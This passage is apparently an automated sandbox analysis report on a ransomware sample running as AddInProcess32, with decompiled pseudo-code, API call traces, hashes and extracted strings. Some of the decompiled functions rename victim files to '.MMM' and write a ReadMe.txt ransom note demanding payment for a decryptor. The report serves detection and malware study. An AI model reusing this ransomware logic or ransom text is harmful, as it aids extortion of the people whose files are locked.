                                                          • EnterCriticalSection.KERNEL32(0041BEA4), ref: 0040744D
                                                          • LeaveCriticalSection.KERNEL32(0041BEA4), ref: 00407479
                                                          • ReleaseSemaphore.KERNEL32(00000001,00000000), ref: 00407489
                                                          • FindNextFileW.KERNELBASE(?,?), ref: 004074A2
                                                          • FindClose.KERNELBASE(?), ref: 004074B6
                                                          • wsprintfW.USER32 ref: 004074C8
                                                          • CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000001,00000080,00000000), ref: 004074E4
                                                          • lstrlenA.KERNEL32(Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv,?,00000000), ref: 004074FF
                                                          • WriteFile.KERNELBASE(00000000,Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv,00000000), ref: 0040750C
                                                          • FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407513
                                                          Strings
                                                          • Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv, xrefs: 004074FA, 00407506
                                                          • ReadMe.txt, xrefs: 004073FF, 004074BC
                                                          • .MMM, xrefs: 004073E5
                                                          • %ls\%ls, xrefs: 004073BF, 004074C2
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: FileFind$CloseCriticalSectionlstrcpylstrlenwsprintf$ChangeCreateEnterFirstLeaveNextNotificationObjectReleaseSemaphoreSingleWaitWritelstrcatlstrcmplstrcmpi
                                                          • String ID: %ls\%ls$.MMM$Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv$ReadMe.txt
                                                          • API String ID: 274592888-358114327
                                                          • Opcode ID: 44ac0cfc4a5c5486ae72b6a7f0bc29f573566d3af0f0a110a0d848f2a2dec1d0
                                                          • Instruction ID: 5506fddbef799c85f2082371ce106d0f80689a773478953c6a3102b43d1af554
                                                          • Opcode Fuzzy Hash: 44ac0cfc4a5c5486ae72b6a7f0bc29f573566d3af0f0a110a0d848f2a2dec1d0
                                                          • Instruction Fuzzy Hash: 7451C271904314BBDB10AF60AC4DBEA3FB8EB09706F1080B6FA09A21D1D7799E55CB5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00408206 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 318 408206-408211 SetUnhandledExceptionFilter
                                                          C-Code - Quality: 100%
                                                          			E00408206() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00408212); // executed
				return _t1;
			}




                                                          0x0040820b
                                                          0x00408211

                                                          APIs
                                                          • SetUnhandledExceptionFilter.KERNELBASE(Function_00008212,00407B75), ref: 0040820B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled
                                                          • String ID:
                                                          • API String ID: 3192549508-0
                                                          • Opcode ID: 4b07056b3498f7d59bca4fffd27d8ff5e450aa440b37623c4f3e908e233e6c0c
                                                          • Instruction ID: 53c67ed74ccf46dc71af4aeacebbdcb92dce50a3283c8ef4dab100856bbe026b
                                                          • Opcode Fuzzy Hash: 4b07056b3498f7d59bca4fffd27d8ff5e450aa440b37623c4f3e908e233e6c0c
                                                          • Instruction Fuzzy Hash:
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00407880 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 73synchronizationfileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          C-Code - Quality: 29%
                                                          			E00407880() {
				void* __ebx;
				signed int _t12;
				void* _t17;
				signed int _t20;
				WCHAR* _t24;
				void* _t29;
				WCHAR* _t36;
				WCHAR* _t38;
				void* _t40;

				WaitForSingleObject( *0x41be9c, 0xffffffff);
				EnterCriticalSection(0x41bea4);
				_t12 =  *0x41b9e0; // 0x9b
				 *0x41be98 =  *0x41be98 - 1;
				_t36 =  *(0x41b9e8 + _t12 * 4);
				asm("cdq");
				 *0x41b9e0 = (_t12 + 1) % 0x12c;
				LeaveCriticalSection(0x41bea4);
				ReleaseSemaphore( *0x41b9e4, 1, 0);
				if(_t36 != 0) {
					_t29 = wsprintfW;
					do {
						_t17 = E004025F0(_t29, _t36); // executed
						if(_t17 != 0) {
							_push(0x10000); // executed
							_t24 = E0040944B(); // executed
							_t38 = _t24;
							wsprintfW(_t38, L"%ls%ls", _t36, L".MMM");
							MoveFileW(_t36, _t38); // executed
							E00409430(_t38); // executed
							_t40 = _t40 + 0x18;
						}
						E00409430(_t36); // executed
						_t40 = _t40 + 4;
						WaitForSingleObject( *0x41be9c, 0xffffffff);
						EnterCriticalSection(0x41bea4);
						_t20 =  *0x41b9e0; // 0x9b
						 *0x41be98 =  *0x41be98 - 1;
						_t36 =  *(0x41b9e8 + _t20 * 4);
						asm("cdq");
						 *0x41b9e0 = (_t20 + 1) % 0x12c;
						LeaveCriticalSection(0x41bea4);
						ReleaseSemaphore( *0x41b9e4, 1, 0);
					} while (_t36 != 0);
				}
				return 0;
			}












                                                          0x00407889
                                                          0x00407894
                                                          0x0040789a
                                                          0x004078a4
                                                          0x004078af
                                                          0x004078b7
                                                          0x004078ba
                                                          0x004078c0
                                                          0x004078d0
                                                          0x004078d8
                                                          0x004078df
                                                          0x004078e6
                                                          0x004078e8
                                                          0x004078ef
                                                          0x004078f1
                                                          0x004078f6
                                                          0x00407901
                                                          0x00407909
                                                          0x00407910
                                                          0x00407917
                                                          0x0040791c
                                                          0x0040791c
                                                          0x00407920
                                                          0x00407925
                                                          0x00407930
                                                          0x0040793b
                                                          0x00407941
                                                          0x0040794b
                                                          0x00407956
                                                          0x0040795e
                                                          0x00407961
                                                          0x00407967
                                                          0x00407977
                                                          0x0040797d
                                                          0x00407986
                                                          0x0040798a

                                                          APIs
                                                          • WaitForSingleObject.KERNEL32(000000FF), ref: 00407889
                                                          • EnterCriticalSection.KERNEL32(0041BEA4), ref: 00407894
                                                          • LeaveCriticalSection.KERNEL32(0041BEA4), ref: 004078C0
                                                          • ReleaseSemaphore.KERNEL32(00000001,00000000), ref: 004078D0
                                                            • Part of subcall function 004025F0: SetFileAttributesW.KERNELBASE(?,00000080,?,?,?,004078ED), ref: 0040261C
                                                            • Part of subcall function 004025F0: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000003,00000000,00000000,?,00000080,?,?,?,004078ED), ref: 00402638
                                                            • Part of subcall function 004025F0: CloseHandle.KERNEL32(00000000,?,C0000000,00000000,00000000,00000003,00000000,00000000,?,00000080,?,?,?,004078ED), ref: 00402640
                                                            • Part of subcall function 004025F0: CreateFileW.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402744
                                                            • Part of subcall function 004025F0: GetFileSize.KERNEL32(00000000,00000000,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402754
                                                            • Part of subcall function 004025F0: SetFilePointerEx.KERNELBASE(00000000,000000F3,000000FF,00000000,00000002,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402768
                                                            • Part of subcall function 004025F0: ReadFile.KERNELBASE(00000000,?,0000000D,?,00000000,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402784
                                                          • wsprintfW.USER32 ref: 00407909
                                                          • MoveFileW.KERNEL32(?,00000000), ref: 00407910
                                                            • Part of subcall function 00409430: _free.LIBCMT ref: 00409443
                                                          • WaitForSingleObject.KERNEL32(000000FF), ref: 00407930
                                                          • EnterCriticalSection.KERNEL32(0041BEA4), ref: 0040793B
                                                          • LeaveCriticalSection.KERNEL32(0041BEA4), ref: 00407967
                                                          • ReleaseSemaphore.KERNEL32(00000001,00000000), ref: 00407977
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: File$CriticalSection$CreateEnterLeaveObjectReleaseSemaphoreSingleWait$AttributesCloseHandleMovePointerReadSize_freewsprintf
                                                          • String ID: %ls%ls$.MMM
                                                          • API String ID: 3758267573-2950430564
                                                          • Opcode ID: c54acf6c2f640a32ad68328d8e7fcc76f4223ff2bd28c9a3a4ea8b0eebf29816
                                                          • Instruction ID: 3585b5233fdbdd02ef392ce3a1e6044222643965a1ecfd8ef2a96dee3b530a8a
                                                          • Opcode Fuzzy Hash: c54acf6c2f640a32ad68328d8e7fcc76f4223ff2bd28c9a3a4ea8b0eebf29816
                                                          • Instruction Fuzzy Hash: 9B21D775214200ABC7009F64FC4AFDA3BB6EB8C711B10C136F705612F9C7B899569B9E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00409430 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11COMMONLIBRARYCODE
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 254 409430-40944a call 40a8c2
                                                          C-Code - Quality: 100%
                                                          			E00409430(char _a4) {
				intOrPtr _v8;
				void* _t5;

				_t1 =  &_a4; // 0x407855
				_v8 = 0;
				_t5 = E0040A8C2( *_t1); // executed
				return _t5;
			}





                                                          0x00409436
                                                          0x00409439
                                                          0x00409443
                                                          0x0040944a

                                                          APIs
                                                          • _free.LIBCMT ref: 00409443
                                                            • Part of subcall function 0040A8C2: RtlFreeHeap.NTDLL(00000000,00000000,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?), ref: 0040A8D8
                                                            • Part of subcall function 0040A8C2: GetLastError.KERNEL32(?,?,0040CD22,?,00000000,?,?,?,0040CD49,?,00000007,?,?,0040D16F,?,?), ref: 0040A8EA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ErrorFreeHeapLast_free
                                                          • String ID: Ux@
                                                          • API String ID: 1353095263-67929895
                                                          • Opcode ID: 468dd14a72b139919f2b7b88d25fde9b3f71afabfe5eff8284871237ccba1356
                                                          • Instruction ID: 45f2f276bc7b90a248b7cc5a41c39b47d3d5bbde310206497f1873a261e2f66d
                                                          • Opcode Fuzzy Hash: 468dd14a72b139919f2b7b88d25fde9b3f71afabfe5eff8284871237ccba1356
                                                          • Instruction Fuzzy Hash: C2C08C32100208BBCB00AB46C806A8E7BA8DB80368F208068F40027281DBB1EE049A80
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00409AF6 Relevance: 3.0, APIs: 2, Instructions: 31COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 257 409af6-409b08 call 40c100 call 40c5b7 261 409b0d-409b11 257->261 262 409b13-409b16 261->262 263 409b18-409b21 call 409b48 261->263 264 409b3c-409b47 call 40a8c2 262->264 268 409b23-409b26 263->268 269 409b28-409b2f 263->269 271 409b34-409b3b call 40a8c2 268->271 269->271 271->264
                                                          C-Code - Quality: 100%
                                                          			E00409AF6(void* __eax, void* __ebx, void* __ecx, void* __edx) {

				 *((intOrPtr*)(__ebx + __eax + 0x33)) =  *((intOrPtr*)(__ebx + __eax + 0x33)) + __edx;
			}



                                                          0x00409afb

                                                          APIs
                                                            • Part of subcall function 0040C5B7: GetEnvironmentStringsW.KERNEL32 ref: 0040C5C0
                                                            • Part of subcall function 0040C5B7: _free.LIBCMT ref: 0040C61F
                                                            • Part of subcall function 0040C5B7: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0040C62E
                                                          • _free.LIBCMT ref: 00409B36
                                                          • _free.LIBCMT ref: 00409B3D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: _free$EnvironmentStrings$Free
                                                          • String ID:
                                                          • API String ID: 2490078468-0
                                                          • Opcode ID: ba9a2187ce3d19f202e7240ea6968da092072945c5c69399c74c5bafc8c80016
                                                          • Instruction ID: a6ef2fd53f169bb1560c043708ef77d61961192af05181645d148f75179d3109
                                                          • Opcode Fuzzy Hash: ba9a2187ce3d19f202e7240ea6968da092072945c5c69399c74c5bafc8c80016
                                                          • Instruction Fuzzy Hash: 75E0E52360551051E3217B2B7C416EA2750AB81378B12833BE810BA1C3DB7C9C03049F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040C70C Relevance: 1.6, APIs: 1, Instructions: 52COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 274 40c70c-40c719 call 40b1b0 276 40c71e-40c729 274->276 277 40c72b-40c72d 276->277 278 40c72f-40c737 276->278 279 40c77a-40c786 call 40a8c2 277->279 278->279 280 40c739-40c73d 278->280 281 40c73f-40c774 call 40d5eb 280->281 286 40c776-40c779 281->286 286->279
                                                          C-Code - Quality: 95%
                                                          			E0040C70C(void* __edi, void* __eflags) {
				intOrPtr _v12;
				char _t17;
				void* _t18;
				intOrPtr* _t32;
				char _t35;
				void* _t37;

				_push(_t27);
				_t17 = E0040B1B0(0x40, 0x38); // executed
				_t35 = _t17;
				_v12 = _t35;
				if(_t35 != 0) {
					_t2 = _t35 + 0xe00; // 0xe00
					_t18 = _t2;
					__eflags = _t35 - _t18;
					if(__eflags != 0) {
						_t3 = _t35 + 0x20; // 0x20
						_t32 = _t3;
						_t37 = _t18;
						do {
							_t4 = _t32 - 0x20; // 0x0
							E0040D5EB(__eflags, _t4, 0xfa0, 0);
							 *(_t32 - 8) =  *(_t32 - 8) | 0xffffffff;
							 *_t32 = 0;
							_t32 = _t32 + 0x38;
							 *((intOrPtr*)(_t32 - 0x34)) = 0;
							 *((intOrPtr*)(_t32 - 0x30)) = 0xa0a0000;
							 *((char*)(_t32 - 0x2c)) = 0xa;
							 *(_t32 - 0x2b) =  *(_t32 - 0x2b) & 0x000000f8;
							 *((intOrPtr*)(_t32 - 0x2a)) = 0;
							 *((char*)(_t32 - 0x26)) = 0;
							__eflags = _t32 - 0x20 - _t37;
						} while (__eflags != 0);
						_t35 = _v12;
					}
				} else {
					_t35 = 0;
				}
				E0040A8C2(0);
				return _t35;
			}









                                                          0x0040c712
                                                          0x0040c719
                                                          0x0040c71e
                                                          0x0040c722
                                                          0x0040c729
                                                          0x0040c72f
                                                          0x0040c72f
                                                          0x0040c735
                                                          0x0040c737
                                                          0x0040c73a
                                                          0x0040c73a
                                                          0x0040c73d
                                                          0x0040c73f
                                                          0x0040c745
                                                          0x0040c749
                                                          0x0040c74e
                                                          0x0040c752
                                                          0x0040c754
                                                          0x0040c757
                                                          0x0040c75d
                                                          0x0040c764
                                                          0x0040c768
                                                          0x0040c76c
                                                          0x0040c76f
                                                          0x0040c772
                                                          0x0040c772
                                                          0x0040c776
                                                          0x0040c779
                                                          0x0040c72b
                                                          0x0040c72b
                                                          0x0040c72b
                                                          0x0040c77b
                                                          0x0040c786

                                                          APIs
                                                            • Part of subcall function 0040B1B0: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040B0A6,00000001,00000364,00000006,000000FF,?,?,?,0040ABB8,0040A93F), ref: 0040B1F1
                                                          • _free.LIBCMT ref: 0040C77B
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: AllocateHeap_free
                                                          • String ID:
                                                          • API String ID: 614378929-0
                                                          • Opcode ID: 853f8477b2a78621be08ad21eda18169dab90cb93fda6c3680411439768efe93
                                                          • Instruction ID: 56354114595fca7781dd9a88d62fa6fcaf629eef1669f5afd47b8f858ab5f2c5
                                                          • Opcode Fuzzy Hash: 853f8477b2a78621be08ad21eda18169dab90cb93fda6c3680411439768efe93
                                                          • Instruction Fuzzy Hash: 06012672604316ABC3209FA9C88199AFB98EB053B0F14033EE545B76C0E7746C11CBE8
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040B1B0 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 287 40b1b0-40b1bb 288 40b1c9-40b1cf 287->288 289 40b1bd-40b1c7 287->289 291 40b1d1-40b1d2 288->291 292 40b1e8-40b1f9 RtlAllocateHeap 288->292 289->288 290 40b1fd-40b208 call 40abb3 289->290 296 40b20a-40b20c 290->296 291->292 293 40b1d4-40b1db call 40a1fe 292->293 294 40b1fb 292->294 293->290 300 40b1dd-40b1e6 call 40d855 293->300 294->296 300->290 300->292
                                                          C-Code - Quality: 100%
                                                          			E0040B1B0(signed int _a4, signed int _a8) {
				void* _t8;
				signed int _t13;
				signed int _t18;
				long _t19;

				_t18 = _a4;
				if(_t18 == 0) {
					L2:
					_t19 = _t18 * _a8;
					if(_t19 == 0) {
						_t19 = _t19 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x41b5f8, 8, _t19); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E0040A1FE();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E0040ABB3(__eflags))) = 0xc;
							__eflags = 0;
							return 0;
						}
						__eflags = E0040D855(__eflags, _t19);
						if(__eflags == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				if(_t13 / _t18 < _a8) {
					goto L8;
				}
				goto L2;
			}







                                                          0x0040b1b6
                                                          0x0040b1bb
                                                          0x0040b1c9
                                                          0x0040b1c9
                                                          0x0040b1cf
                                                          0x0040b1d1
                                                          0x0040b1d1
                                                          0x0040b1e8
                                                          0x0040b1f1
                                                          0x0040b1f9
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b1d9
                                                          0x0040b1db
                                                          0x0040b1fd
                                                          0x0040b202
                                                          0x0040b208
                                                          0x00000000
                                                          0x0040b208
                                                          0x0040b1e4
                                                          0x0040b1e6
                                                          0x00000000
                                                          0x00000000
                                                          0x0040b1e6
                                                          0x00000000
                                                          0x0040b1e8
                                                          0x0040b1c1
                                                          0x0040b1c7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000

                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040B0A6,00000001,00000364,00000006,000000FF,?,?,?,0040ABB8,0040A93F), ref: 0040B1F1
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1279760036-0
                                                          • Opcode ID: 660a75e25ca3ab4f59d2922eb3ba13db5e6c6f1950f6c4e2fad11a00586e833b
                                                          • Instruction ID: bc35ad5d8b7f5f7f642a95a477cd10a5e9f689adfbb0cbeb56ceeff05dececdf
                                                          • Opcode Fuzzy Hash: 660a75e25ca3ab4f59d2922eb3ba13db5e6c6f1950f6c4e2fad11a00586e833b
                                                          • Instruction Fuzzy Hash: 9EF0B431500225A7DB216B279C25B6B3758EF417E0B148077A814BE2D0CF38D90196ED
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040A8FC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 303 40a8fc-40a908 304 40a93a-40a945 call 40abb3 303->304 305 40a90a-40a90c 303->305 312 40a947-40a949 304->312 307 40a925-40a936 RtlAllocateHeap 305->307 308 40a90e-40a90f 305->308 309 40a911-40a918 call 40a1fe 307->309 310 40a938 307->310 308->307 309->304 315 40a91a-40a923 call 40d855 309->315 310->312 315->304 315->307
                                                          C-Code - Quality: 100%
                                                          			E0040A8FC(long _a4) {
				void* _t4;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E0040ABB3(__eflags))) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x41b5f8, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E0040A1FE();
					if(__eflags == 0) {
						goto L7;
					}
					__eflags = E0040D855(__eflags, _t8);
					if(__eflags == 0) {
						goto L7;
					}
				}
				return _t4;
			}





                                                          0x0040a902
                                                          0x0040a908
                                                          0x0040a93a
                                                          0x0040a93f
                                                          0x0040a945
                                                          0x00000000
                                                          0x0040a945
                                                          0x0040a90c
                                                          0x0040a90e
                                                          0x0040a90e
                                                          0x0040a925
                                                          0x0040a92e
                                                          0x0040a936
                                                          0x00000000
                                                          0x00000000
                                                          0x0040a916
                                                          0x0040a918
                                                          0x00000000
                                                          0x00000000
                                                          0x0040a921
                                                          0x0040a923
                                                          0x00000000
                                                          0x00000000
                                                          0x0040a923
                                                          0x00000000

                                                          APIs
                                                          • RtlAllocateHeap.NTDLL(00000000,?,?,?,00407594,00004000), ref: 0040A92E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: AllocateHeap
                                                          • String ID:
                                                          • API String ID: 1279760036-0
                                                          • Opcode ID: 92ebe5ec45b86422091f236b0cf8f635cd3c4f6e627a7850089e957b382c23ab
                                                          • Instruction ID: 00ebaf16a2cd7f220a74a05409e12a2df669455f100ef3c2648e46cbd5a00cc0
                                                          • Opcode Fuzzy Hash: 92ebe5ec45b86422091f236b0cf8f635cd3c4f6e627a7850089e957b382c23ab
                                                          • Instruction Fuzzy Hash: FEE0E572704324AAD6212A628C00B5B365C9B513A8F13453BAC59B66E0CB7CCC2182EF
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Non-executed Functions

                                                          Function 00408073 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                          Download Yara Rule
                                                          C-Code - Quality: 85%
                                                          			E00408073(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00408268(_t34);
				 *_t60 = 0x2cc;
				_v632 = E004087F0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E004087F0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00408268(_t49);
				}
				return _t49;
			}


































                                                          0x00408073
                                                          0x00408073
                                                          0x00408073
                                                          0x00408087
                                                          0x00408089
                                                          0x0040808c
                                                          0x0040808c
                                                          0x00408090
                                                          0x00408095
                                                          0x004080ad
                                                          0x004080b3
                                                          0x004080b9
                                                          0x004080bf
                                                          0x004080c5
                                                          0x004080cb
                                                          0x004080d1
                                                          0x004080d8
                                                          0x004080df
                                                          0x004080e6
                                                          0x004080ed
                                                          0x004080f4
                                                          0x004080fb
                                                          0x004080fc
                                                          0x00408105
                                                          0x0040810b
                                                          0x0040810e
                                                          0x00408114
                                                          0x00408123
                                                          0x0040812f
                                                          0x0040813a
                                                          0x00408141
                                                          0x00408148
                                                          0x00408153
                                                          0x0040815b
                                                          0x00408164
                                                          0x00408166
                                                          0x00408169
                                                          0x0040816b
                                                          0x00408175
                                                          0x0040817d
                                                          0x00408183
                                                          0x00000000
                                                          0x0040818a
                                                          0x0040818d

                                                          APIs
                                                          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040807F
                                                          • IsDebuggerPresent.KERNEL32 ref: 0040814B
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040816B
                                                          • UnhandledExceptionFilter.KERNEL32(?), ref: 00408175
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                          • String ID:
                                                          • API String ID: 254469556-0
                                                          • Opcode ID: 6d7870e5f3918b3a7a5923f3cbff45e5419f6af0fde9955717bab8278cb27929
                                                          • Instruction ID: 018e39768e3eb86782f7b724debb8313c50043985f0cb4b932e7527abb109ad8
                                                          • Opcode Fuzzy Hash: 6d7870e5f3918b3a7a5923f3cbff45e5419f6af0fde9955717bab8278cb27929
                                                          • Instruction Fuzzy Hash: BE313875D0521CDBDB10DFA5D98A7CDBBB8AF08304F1041AEE448AB291EB749B858F08
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0040A94A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          C-Code - Quality: 81%
                                                          			E0040A94A(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, char _a4, char _a8, char _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x41a000; // 0xdd666744
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00408268(_t41);
					_pop(_t61);
				}
				E004087F0(_t66,  &_v804, 0, 0x50);
				E004087F0(_t66,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_t23 =  &_v0; // 0xe80775c0
				_v540 =  *_t23;
				_t25 =  &_v0; // 0x402e79
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
